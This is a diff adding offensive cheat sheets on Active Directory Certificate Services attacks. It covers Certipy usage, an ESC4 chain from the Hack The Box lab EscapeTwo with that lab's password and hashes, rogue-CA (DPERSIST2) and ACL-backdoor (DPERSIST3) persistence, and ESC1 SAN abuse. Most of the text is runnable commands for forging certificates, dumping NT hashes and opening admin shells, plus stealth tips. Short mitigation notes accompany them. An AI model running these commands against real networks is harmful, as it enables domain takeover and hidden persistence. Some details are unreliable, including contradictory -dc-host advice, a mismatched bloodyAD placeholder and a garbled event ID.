+| `-no-save` | Don't save TGT to file | +| `-no-hash` | Don't request NT hash | +| `-print` | Print TGT in kirbi format | +| `-kirbi` | Save as .kirbi instead of ccache | +| `-username <user>` | Override certificate username | +| `-domain <domain>` | Override certificate domain | +| `-ldap-shell` | Start LDAP shell after auth | + +#### 💻 Example Commands + +```bash +# Authenticate and retrieve NT hash +certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 + +# With password-protected PFX +certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51 + +# Start LDAP shell +certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51 +``` + +*** + +### 4️⃣ `template` - Manage Templates + +**Purpose**: View and modify certificate template configurations + +```bash +certipy-ad template -template <name> [options] +``` + +#### 📊 Key Flags + +| Flag | Description | +|------|-------------| +| `-template <name>` | Certificate template name | +| `-save-configuration <file>` | Save current config to JSON | +| `-write-configuration <file>` | Apply config from JSON file | +| `-write-default-configuration` | Apply default ESC1 config | +| `-no-save` | Skip backup before changes | +| `-force` | Don't prompt for confirmation | + +#### 💻 Example Commands + +```bash +# Save template configuration +certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \ + -save-configuration backup.json \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # 🆕 + +# Apply ESC1 configuration (make vulnerable) +certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication \ + -write-default-configuration \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # 🆕 + +# Restore from backup +certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \ + -write-configuration backup.json -no-save \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # 🆕 +``` + +*** + +### 5️⃣ `shadow` - Shadow Credentials + +**Purpose**: Manipulate Key Credential Links for account takeover + +```bash +certipy-ad shadow <action> [options] +``` + +#### 📊 Actions & Flags + +| Action | Description | +|--------|-------------| +| `auto` | Automatically exploit (add, auth, restore) | +| `list` | List all Key Credentials | +| `add` | Add new Key Credential | +| `remove` | Remove specific Key Credential | +| `clear` | Remove all Key Credentials | +| `info` | Display detailed information | + +| Flag | Description | +|------|-------------| +| `-account <target>` | Target account | +| `-device-id <guid>` | Specific device ID | +| `-out <file>` | Output certificate file | + +#### 💻 Example Commands + +```bash +# 🆕 Automatic shadow credential attack — FULL recommended syntax for v5 +certipy-ad shadow auto \ + -u user@domain.local \ + -p 'password' \ + -account 'target_user' \ + -dc-ip 10.10.11.51 \ + -dc-host dc01.domain.local \ # ← REQUIRED in v5, prevents EHOSTUNREACH (113) + -ns 10.10.11.51 # ← Pin DNS to DC to avoid internal IP rerouting + +# List Key Credentials +certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local + +# Add Key Credential +certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local +``` + +> 🆕 **HTB Fluffy Lesson**: `shadow auto` without `-dc-host` on Certipy v5 will print `Target IP: None` in debug mode and fail with `[Errno 113] No route to host` even with a correct `-dc-ip` and valid `/etc/hosts`. The fix is always to pass `-dc-host dc01.<domain>` explicitly. + +*** + +### 6️⃣ `account` - Manage Accounts + +**Purpose**: Create, read, update, delete AD accounts + +```bash +certipy-ad account <action> -user <name> [options] +``` + +#### 📊 Actions & Flags + +| Action | Description | +|--------|-------------| +| `create` | Create new account | +| `read` | Read account properties | +| `update` | Modify existing account | +| `delete` | Delete account | + +| Flag | Description | +|------|-------------| +| `-user <name>` | SAM account name | +| `-pass <password>` | Set password | +| `-dns <hostname>` | Set DNS hostname | +| `-upn <upn>` | Set UPN | +| `-spns <spn1,spn2>` | Set SPNs | + +#### 💻 Example Commands + +```bash +# Create machine account +certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local + +# Update account password +certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local +``` + +*** + +### 7️⃣ `ca` - Manage Certificate Authority + +**Purpose**: Manage CA settings and certificate requests + +```bash +certipy-ad ca -ca <name> [options] +``` + +#### 📊 Key Flags + +| Flag | Description | +|------|-------------| +| `-ca <name>` | CA name | +| `-list-templates` | List enabled templates | +| `-enable-template <name>` | Enable template on CA | +| `-disable-template <name>` | Disable template on CA | +| `-issue-request <id>` | Approve pending request | +| `-deny-request <id>` | Deny pending request | +| `-add-officer <user>` | Add certificate officer | + +#### 💻 Example Commands + +```bash +# List enabled templates +certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local + +# Approve pending request +certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local +``` + +*** + +### 8️⃣ `forge` - Forge Certificates + +**Purpose**: Create golden certificates or self-signed certs + +```bash +certipy-ad forge [options] +``` + +#### 📊 Key Flags + +| Flag | Description | +|------|-------------| +| `-ca-pfx <file>` | CA certificate/key (for golden cert) | +| `-ca-password <pass>` | CA PFX password | +| `-upn <upn>` | UPN for certificate | +| `-subject <dn>` | Certificate subject | +| `-template <file>` | Clone from template cert | +| `-out <file>` | Output PFX file | +| `-validity-period <days>` | Validity in days | + +#### 💻 Example Commands + +```bash +# Forge golden certificate +certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local \ + -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx +``` + +*** + +### 9️⃣ `relay` - NTLM Relay + +**Purpose**: Relay NTLM authentication to AD CS endpoints + +```bash +certipy-ad relay -target <proto://host> [options] +``` + +#### 📊 Key Flags + +| Flag | Description | +|------|-------------| +| `-target <proto://host>` | Target (http:// or rpc://) | +| `-ca <name>` | CA name (for RPC) | +| `-template <name>` | Certificate template | +| `-interface <ip>` | Listen interface | +| `-port <port>` | Listen port (default: 445) | +| `-forever` | Keep relay server alive | +| `-enum-templates` | Enumerate templates via relay | + +*** + +## 🎯 ESC4 Exploitation Workflow + +**ESC4** occurs when an attacker has **write permissions** over a certificate template, allowing them to modify it to become vulnerable (typically ESC1). + +### 📋 Prerequisites + +- ✅ Compromised account with write access to a certificate template +- ✅ Membership in groups with template modification rights (e.g., Cert Publishers) +- ✅ Access to Active Directory Certificate Services + +### 🔄 Step-by-Step Exploitation + +#### **Step 1: Enumerate and Identify ESC4** + +```bash +certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -stdout # 🆕 dc-host added + +# Look for output like: +# [!] Vulnerabilities +# ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions +``` + +#### **Step 2: Modify Template (Certipy 5.x)** + +```bash +certipy-ad template -u ca_svc@sequel.htb \ + -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ + -template DunderMifflinAuthentication \ + -write-default-configuration \ + -dc-ip 10.10.11.51 \ + -dc-host dc01.sequel.htb # 🆕 +``` + +#### **Step 3: Request Certificate with UPN** + +```bash +certipy-ad req -u ca_svc@sequel.htb \ + -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ + -ca sequel-DC01-CA \ + -template DunderMifflinAuthentication \ + -upn administrator@sequel.htb \ + -dc-ip 10.10.11.51 \ + -dc-host dc01.sequel.htb # 🆕 + +# Output: administrator.pfx +``` + +#### **Step 4: Authenticate and Extract Hash** + +```bash +certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 +# Output: aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff +``` + +#### **Step 5: Use Hash for Access** + +```bash +# WinRM access +evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff + +# SMB access +smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$ + +# psexec +psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51 +``` + +#### **Step 6: Restore Template (Clean Up)** + +```bash +certipy-ad template -u ca_svc@sequel.htb \ + -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ + -template DunderMifflinAuthentication \ + -write-configuration DunderMifflinAuthentication.json \ + -no-save \ + -dc-ip 10.10.11.51 \ + -dc-host dc01.sequel.htb # 🆕 +``` + +*** + +### 🔧 Alternative Method (Certipy 4.x - Legacy) + +```bash +# Step 1: Modify template (auto-saves backup) +certipy-ad template -u ca_svc -hashes :HASH \ + -dc-ip 10.10.11.51 \ + -template DunderMifflinAuthentication \ + -target dc01.sequel.htb \ + -save-old + +# Step 2: Request certificate +certipy-ad req -ca sequel-DC01-CA \ + -u ca_svc -hashes :HASH \ + -dc-ip 10.10.11.51 \ + -template DunderMifflinAuthentication \ + -target dc01.sequel.htb \ + -upn administrator@sequel.htb + +# Step 3: Authenticate +certipy-ad auth -pfx administrator.pfx + +# Step 4: Restore (backup auto-created) +# Check for DunderMifflinAuthentication.json in current directory +``` + +*** + +## 🏆 HTB EscapeTwo Context + +### 🎯 Scenario Overview + +In HTB EscapeTwo, the exploitation path involves: + +1. **Initial Access**: Credentials for `rose` → find SQL admin password → shell as `sql_svc` +2. **Lateral Movement**: Find `ryan` credentials → WinRM access +3. **Privilege Escalation**: `ryan` has `WriteOwner` on `ca_svc` account +4. **Account Takeover**: Use BloodyAD to take ownership and grant permissions +5. **Shadow Credentials**: Add shadow credential to `ca_svc` +6. **ESC4 Exploitation**: `ca_svc` is in Cert Publishers group → modify template → escalate to Administrator + +### 🔑 Key Commands from HTB EscapeTwo + +```bash +# Ownership change (using BloodyAD) +bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan +bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan + +# Shadow credential attack — 🆕 full v5 syntax +certipy-ad shadow auto \ + -u ryan@sequel.htb \ + -p 'WqSZAF6CysDQbGb3' \ + -account 'ca_svc' \ + -dc-ip 10.10.11.51 \ + -dc-host dc01.sequel.htb \ + -ns 10.10.11.51 + +# ESC4 enumeration +certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -stdout + +# Template modification +certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ + -template DunderMifflinAuthentication -write-default-configuration \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb + +# Certificate request +certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ + -ca sequel-DC01-CA -template DunderMifflinAuthentication \ + -upn administrator@sequel.htb \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb + +# Authentication +certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 +``` + +*** + +## 🔓 Post-Exploitation + +### 🎫 Using Certificates + +```bash +# Pass-the-Certificate with evil-winrm +evil-winrm -i DC01 -c admin.crt -k admin.key + +# Use ccache for Kerberos auth +export KRB5CCNAME=administrator.ccache +smbclient.py -k -no-pass administrator@dc01.sequel.htb + +# Convert PFX to PEM for other tools +openssl pkcs12 -in admin.pfx -nocerts -out admin.key +openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt +``` + +### 🔄 Persistence + +```bash +# Renew certificate before expiration +certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template \ + -renew -pfx admin.pfx -dc-ip 10.10.11.51 -dc-host dc01.domain.local + +# Forge golden certificate (requires CA key) +certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx +``` + +*** + +## 💡 Tips & Best Practices + +### ⚠️ Operational Security + +- 🔒 **Always backup templates** before modification +- 🧹 **Clean up** after testing (restore configurations) +- 📝 **Document** request IDs for later retrieval +- ⏰ **Note certificate validity periods** for persistence planning + +### 🎯 Enumeration Tips + +- 🔍 Start with `-vulnerable -enabled` for quick wins +- 📊 Use `-json` output for parsing with tools like `jq` +- 🎭 Check group memberships (Cert Publishers is key for ESC4) +- 🌐 Enumerate with BloodHound for WriteOwner/GenericAll on service accounts + +### 🚀 Common Attack Chains + +``` +WriteOwner/GenericAll → Shadow Credentials → Hash → Certificate Request +WriteDACL → Template Modification (ESC4) → Certificate → Domain Admin +ManageCA + ManageCertificates → ESC7 → Certificate → Compromise +``` + +### 🔧 Troubleshooting + +| Error | Cause | Solution | +|-------|-------|----------| +| `[Errno 113] No route to host` | 🆕 Certipy v5 resolves DC to internal AD IP (`Target IP: None`) instead of using `-dc-ip` | Add `-dc-host dc01.domain.local -ns <dc-ip>` to every command | +| `CERTSRV_E_TEMPLATE_DENIED` | User not authorized for template | Check enrollment rights | +| `Object SID mismatch` | Strong Certificate Mapping enabled | Use `-sid` flag | +| `INSUFF_ACCESS_RIGHTS` | Need GenericAll/WriteOwner | Check permissions | +| Connection timeout | Firewall or stale machine IP (HTB reset) | Re-verify `$TARGET`, check VPN with `ping` | +| `entryAlreadyExists` (BloodyAD) | 🆕 Object already in group — not an error | Step already complete, move on | + +*** + +## 📚 References + +- 🔗 [Certipy GitHub Wiki](https://github.com/ly4k/Certipy/wiki) +- 📄 [Certified Pre-Owned Whitepaper](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) +- 🎓 [HackTheBox EscapeTwo Writeup](https://0xdf.gitlab.io/2025/05/24/htb-escapetwo.html) +- 🎓 [HackTheBox Fluffy Writeup](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) 🆕 +- 🛡️ [ADCS Attack Paths - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/adcs) + +*** + +**Created for HTB: EscapeTwo** | **Last Updated: April 2026** | **Certipy Version: 5.0.4+** 🆕 + +Sources diff --git a/src/content/sheets/active-directory/dpersist2-rogue-ca-certificate-ntauth-injection.md b/src/content/sheets/active-directory/dpersist2-rogue-ca-certificate-ntauth-injection.md @@ -0,0 +1,117 @@ +--- +title: "DPERSIST2 — Rogue CA Certificate (NTAuth Injection)" +description: "The forest trusts any certificate chaining to a CA published in the NTAuthCertificates object for domain authentication. Normally that list holds only the…" +category: active-directory +tags: ["active-directory", "adcs", "persistence"] +tools: ["Certipy", "OpenSSL", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/DPERSIST2 — Rogue CA Certificate (NTAuth Injection).md" +--- +# DPERSIST2 — Rogue CA Certificate (NTAuth Injection) + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Domain Persistence | +| **Difficulty** | High | +| **Pre-requisites** | Write to the `NTAuthCertificates` object (Enterprise Admin, or WriteDACL on the PKI config container) | +| **Tools** | Certipy (`forge`), certutil, ForgeCert | +| **OPSEC Noise** | Medium — one AD write, then silent offline forgery | +| **One-liner** | Add your **own** attacker-generated CA certificate to the forest's `NTAuthCertificates` store, then forge and sign authentication certificates for **any** principal, indefinitely. | + +*** + +## What Is DPERSIST2? + +The forest trusts any certificate chaining to a CA published in the **`NTAuthCertificates`** object for domain authentication. Normally that list holds only the org's real CAs. If you can **write your own self-signed CA cert into that list** (and the Root store), your rogue CA becomes trusted forest-wide. You then sign auth certs for anyone offline — the real CA never sees them, so they **cannot be revoked** and persist until your rogue CA cert is removed or expires (default ~5 years). + +This differs from DPERSIST1 (which steals the *existing* CA key). Here you introduce a *new* trusted CA. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#eb6f92','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + K[Generate rogue<br/>CA keypair] --> P[Publish to<br/>NTAuthCertificates + RootCA] + P --> F[certipy forge<br/>cert for any user] + F --> A[PKINIT auth<br/>as that user] +``` + +*** + +## Step 1 — Generate a Rogue CA + +```bash +# Certipy can generate a CA cert + key for forging +certipy-ad ca -backup ... # (if extracting an existing one) +# or craft a self-signed CA with openssl +openssl req -x509 -newkey rsa:2048 -keyout rogue-ca.key -out rogue-ca.crt \ + -days 1825 -nodes -subj "/CN=Rogue-CA" +openssl pkcs12 -export -inkey rogue-ca.key -in rogue-ca.crt -out rogue-ca.pfx -passout pass: +``` + +*** + +## Step 2 — Publish It as Trusted (requires high privilege) + +```powershell +# Add the rogue CA to the forest NTAuth store (Enterprise Admin) +certutil.exe -dspublish -f rogue-ca.crt NTAuthCA + +# Also add to the Root store so the chain validates +certutil.exe -dspublish -f rogue-ca.crt RootCA +``` + +```bash +# Linked writes can also be done over LDAP with the right rights (e.g. bloodyAD) +bloodyAD -u admin -p pass -d domain.htb --host $TARGET \ + add dcsync ... # example of the privileged-write tooling class +``` + +*** + +## Step 3 — Forge Certs for Anyone + +```bash +certipy-ad forge \ + -ca-pfx rogue-ca.pfx \ + -upn 'administrator@domain.htb' \ + -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' \ + -out admin_forged.pfx + +certipy-ad auth -pfx admin_forged.pfx -dc-ip $TARGET # PKINIT as Administrator +``` + +```powershell +# Windows: ForgeCert +ForgeCert.exe --CaCertPath rogue-ca.pfx --CaCertPassword "" \ + --Subject "CN=User" --SubjectAltName "administrator@domain.htb" \ + --NewCertPath admin.pfx --NewCertPassword "" +``` + +*** + +## OPSEC Considerations + +| Action | Log | Noise | +| :-- | :-- | :-- | +| `certutil -dspublish` to NTAuth | AD object write; Event 4899/4im=config change | 🟡 Medium | +| Forged-cert PKINIT | Event 4768 — but cert chains to unknown CA | 🟡 Medium | + +> [!warning] Loud in the right monitor +> Writes to `NTAuthCertificates` are rare and high-signal. Mature environments alert on any change to it. + +*** + +## Mitigation + +- Tightly restrict write access to `CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration`. +- Alert on **any** modification of the NTAuth store and Root CA store. +- Periodically baseline the trusted-CA list and investigate unknown CAs. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · Golden Certificate Attack — DPERSIST1 · DPERSIST3 — Malicious Misconfiguration (ACL Backdoor) +- Sources: SpecterOps *Certified Pre-Owned*; [ForgeCert](https://github.com/GhostPack/ForgeCert); [The Hacker Recipes — Certificate authority](https://www.thehacker.recipes/ad/persistence/adcs/certificate-authority) diff --git a/src/content/sheets/active-directory/dpersist3-malicious-misconfiguration-acl-backdoor.md b/src/content/sheets/active-directory/dpersist3-malicious-misconfiguration-acl-backdoor.md @@ -0,0 +1,102 @@ +--- +title: "DPERSIST3 — Malicious Misconfiguration (ACL Backdoor)" +description: "Instead of forging certs now, DPERSIST3 backdoors the PKI ACLs so you can re-escalate whenever you like. You grant an attacker-controlled principal…" +category: active-directory +tags: ["active-directory", "adcs", "delegation", "privilege-escalation", "persistence"] +tools: ["Certipy", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/DPERSIST3 — Malicious Misconfiguration (ACL Backdoor).md" +--- +# DPERSIST3 — Malicious Misconfiguration (ACL Backdoor) + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Domain Persistence (ACL) | +| **Difficulty** | Medium–High | +| **Pre-requisites** | Write/Owner over PKI AD objects (CA object, templates, Enrollment Services, NTAuth) — typically post-DA | +| **Tools** | PowerView, BloodyAD, Certipy, dacledit | +| **OPSEC Noise** | Low after the fact — a dormant ACE that looks like normal delegation | +| **One-liner** | Plant permissive ACEs on ADCS objects so a principal you control can re-create an ESC condition on demand, giving quiet, reusable domain persistence. | + +*** + +## What Is DPERSIST3? + +Instead of forging certs now, DPERSIST3 **backdoors the PKI ACLs** so you can re-escalate whenever you like. You grant an attacker-controlled principal write/control over a template, the CA object, the Enrollment Services container, or `NTAuthCertificates`. Later, from any low-priv-looking account, you flip a template into an ESC4/ESC1 state (or push a rogue CA per DPERSIST2) and mint privileged certs. The backdoor is a single dormant ACE that blends into legitimate delegation. + +*** + +## Step 1 — Identify the Object to Backdoor + +```bash +# Enumerate PKI objects + current DACLs +certipy-ad find -u admin -p pass -dc-ip $TARGET -stdout +``` + +Good targets (in `CN=Public Key Services,CN=Services,CN=Configuration,DC=...`): + +| Object | Backdoor effect | +| :-- | :-- | +| A certificate template | Grant Write → recreate ESC1/ESC4 on demand | +| `CN=Certificate Templates` container | Create/clone new vulnerable templates | +| The Enterprise CA object | Grant ManageCA → ESC7-style control | +| `NTAuthCertificates` | Grant Write → publish rogue CA (DPERSIST2) | + +*** + +## Step 2 — Plant the ACE + +```powershell +# PowerView — give a controlled user GenericAll over a template +Add-DomainObjectAcl -TargetIdentity "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" ` + -PrincipalIdentity 'lowpriv' -Rights All +``` + +```bash +# BloodyAD equivalent +bloodyAD -u admin -p pass -d domain.htb --host $TARGET \ + add genericAll 'CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb' lowpriv +``` + +*** + +## Step 3 — Re-Escalate On Demand (later) + +```bash +# From the backdoored low-priv account, flip the template to ESC1 and request a DA cert +certipy-ad template -u lowpriv -p pass -template User -write-default-configuration ... # make it vulnerable +certipy-ad req -u lowpriv -p pass -ca 'DOMAIN-CA' -template User -upn administrator@domain.htb +certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET +``` + +> [!tip] Pair with template restore +> Some operators flip the template vulnerable, request, then restore the original config to minimise the window a defender could catch it in a config diff. + +*** + +## OPSEC Considerations + +| Action | Log | Noise | +| :-- | :-- | :-- | +| Planting the ACE | AD object write (4662/5136) | 🟡 Medium (at plant time) | +| Dormant backdoor | none | 🟢 Low | +| On-demand re-escalation | template change + 4886/4887 | 🟡 Medium | + +*** + +## Mitigation + +- Baseline and monitor DACLs on **all** PKI objects; alert on new write/control ACEs. +- Restrict who can modify templates and the Enrollment Services / NTAuth containers. +- Use SACLs (Event 4662/5136) on the PKI config container to catch ACE additions. +- After a DA-level incident, audit ADCS ACLs for planted backdoors, not just user/group membership. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · ESC4 — Vulnerable Certificate Template Access Control · ESC5 — Vulnerable PKI Object Access Control · ESC7 — Vulnerable CA Access Control (ManageCA ManageCertificates) · DPERSIST2 — Rogue CA Certificate (NTAuth Injection) +- Sources: SpecterOps *Certified Pre-Owned*; [The Hacker Recipes — ADCS](https://www.thehacker.recipes/ad/movement/ad-cs/) diff --git a/src/content/sheets/active-directory/esc1-san-specification-in-template.md b/src/content/sheets/active-directory/esc1-san-specification-in-template.md @@ -0,0 +1,308 @@ +--- +title: "ESC1 — SAN Specification in Template" +description: "ESC1 is the most commonly encountered and most directly exploitable ADCS misconfiguration. The vulnerability exists at the certificate template level —…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation", "hashing"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC1 — SAN Specification in Template.md" +--- +# ESC1 — SAN Specification in Template + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Certificate Template Misconfiguration | +| **Difficulty** | Low | +| **Pre-requisites** | Low-priv domain creds + vulnerable template | +| **Tools** | Certipy, Certify.exe, Rubeus | +| **OPSEC Noise** | Low — only CA event logs (4886/4887) | +| **One-liner** | Inject Administrator UPN into the SAN field of a CSR via a template with `ENROLLEE_SUPPLIES_SUBJECT` enabled — CA signs it, you authenticate as that user. | + +*** + +## What Is ESC1? + +ESC1 is the most commonly encountered and most directly exploitable ADCS misconfiguration. The vulnerability exists at the **certificate template level** — specifically when a template allows the person requesting the certificate to freely specify a **Subject Alternative Name (SAN)** inside their Certificate Signing Request (CSR). A SAN is an extension in an X.509 certificate that binds an identity (e.g., a UPN like `administrator@domain.htb`) to the certificate. When the CA issues a certificate containing a SAN, Windows trusts that identity for authentication — it doesn't matter who actually requested the cert. + +The core danger: **you enroll as a low-privileged user but embed Administrator (or any domain account) into the SAN field. The CA signs it. You then authenticate as that user.** No password needed, no hash needed — the certificate *is* the identity. + +*** + +## ESC1 — The Six Required Conditions + +All six must be true simultaneously for this to be exploitable: + +| # | Condition | What to Check in Certipy Output | +|---|-----------|--------------------------------| +| 1 | Low-privileged users have **enrollment rights** | `Enrollment Rights: DOMAIN\Domain Users` | +| 2 | **Manager approval is off** | `Requires Manager Approval: False` | +| 3 | **No authorized signatures required** | `Authorized Signatures Required: 0` | +| 4 | Template security descriptor is **overly permissive** | Low-priv group in `Enrollment Rights` | +| 5 | Template has an **authentication EKU** | `Client Authentication: True` or `Smart Card Logon`, `PKINIT`, `Any Purpose`, or no EKU | +| 6 | **Enrollee Supplies Subject** is enabled | `Enrollee Supplies Subject: True` / `Certificate Name Flag: EnrolleeSuppliesSubject` | + +*** + +## Understanding the Key Flag: `ENROLLEE_SUPPLIES_SUBJECT` + +This is the flag that makes ESC1 possible. It corresponds to the AD attribute `msPKI-Certificate-Name-Flag` with value `0x00000001`. When this is set, the CA does **not** build the subject name from Active Directory — it trusts whatever the requester submits. Microsoft's intent was for this to support non-AD scenarios (e.g., web server certificates). The misconfiguration is when this is combined with a template that also supports domain authentication EKUs . + +*** + +## Step 0 — Initial Enumeration + +Before attacking, always enumerate first. This tells you CA names, template names, and which templates are vulnerable. + +```bash +# Full enumeration, filter only vulnerable, print to stdout +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# If you only have a hash (Pass-the-Hash) +certipy-ad find -u 'lowpriv@domain.htb' \ + -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout +``` + +### What a Vulnerable ESC1 Template Looks Like +``` +Certificate Templates + Template Name : VulnTemplate + Enabled : True + Client Authentication : True ← Auth EKU ✓ + Enrollment Agent : False + Any Purpose : False + Enrollee Supplies Subject : True ← THE key flag ✓ + Certificate Name Flag : EnrolleeSuppliesSubject + Requires Manager Approval : False ← No approval ✓ + Authorized Signatures Required : 0 ← No sig req ✓ + Permissions + Enrollment Rights : DOMAIN\Domain Users ← Low-priv enroll ✓ + [!] Vulnerabilities + ESC1 : 'DOMAIN\Domain Users' can enroll, enrollee supplies subject + and template allows client authentication +``` + +*** + +## Step 1 — Request the Certificate with Injected SAN + +The `-upn` flag is what injects the alternative identity into the SAN field of the CSR. You are requesting with your low-priv credentials, but embedding `Administrator` as the identity. + +```bash +# Using password +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'VulnerableTemplateName' \ + -upn 'administrator@domain.htb' + +# Using hash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -hashes :NTHASH \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'VulnerableTemplateName' \ + -upn 'administrator@domain.htb' +``` + +**Expected output:** +``` +[*] Requesting certificate via RPC +[*] Request ID is 58 +[*] Successfully requested certificate +[*] Got certificate with UPN 'administrator@domain.htb' +[*] Certificate has no object SID +[*] Saving certificate and private key to 'administrator.pfx' +``` + +> ⚠️ **`Certificate has no object SID`** — This is normal for ESC1. It means the cert was issued without an objectSID extension, so Windows falls back to UPN-based mapping. This is fine for older/default configurations. On patched systems (KB5014754 enforced), this *may* fail — but in most HTB/real-world scenarios you will still succeed. + +> ⚠️ **`The NETBIOS connection with the remote host timed out`** — This is a common transient RPC error. Simply re-run the command without `-dc-host`. Remove that flag if you added it, as shown in your Fluffy terminal output. + +*** + +## Step 2 — Authenticate and Get TGT + NT Hash + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +**Expected output:** +``` +[*] Certificate identities: +[*] SAN UPN: 'administrator@domain.htb' +[*] Using principal: 'administrator@domain.htb' +[*] Trying to get TGT... +[*] Got TGT +[*] Saving credential cache to 'administrator.ccache' +[*] Trying to retrieve NT hash for 'administrator' +[*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e +``` + +Certipy uses **PKINIT** (Public Key Cryptography for Initial Authentication) to trade the certificate for a Kerberos TGT, and then uses **U2U (User-to-User)** Kerberos to extract the NT hash from the TGT. You now have both a TGT and the NTLM hash. + +*** + +## Step 3 — Use the TGT or Hash to Get a Shell + +**Option A — Kerberos TGT (recommended, opsec-safe):** +```bash +export KRB5CCNAME=administrator.ccache + +# WMIexec +wmiexec.py -k -no-pass DC01.domain.htb + +# Evil-WinRM with Kerberos +evil-winrm -i DC01.domain.htb -r domain.htb + +# SMBexec +smbexec.py -k -no-pass DC01.domain.htb + +# PSExec +psexec.py -k -no-pass DC01.domain.htb +``` + +> 💡 **DNS resolution is required for Kerberos.** Add the DC to `/etc/hosts`: `echo "$TARGET DC01.domain.htb domain.htb" >> /etc/hosts` + +**Option B — Pass-the-Hash (NT hash):** +```bash +# Evil-WinRM with hash +evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e + +# Impacket +wmiexec.py administrator@$TARGET -hashes :8da83a3fa618b6e3a00e93f676c92a6e +psexec.py administrator@$TARGET -hashes :8da83a3fa618b6e3a00e93f676c92a6e +``` + 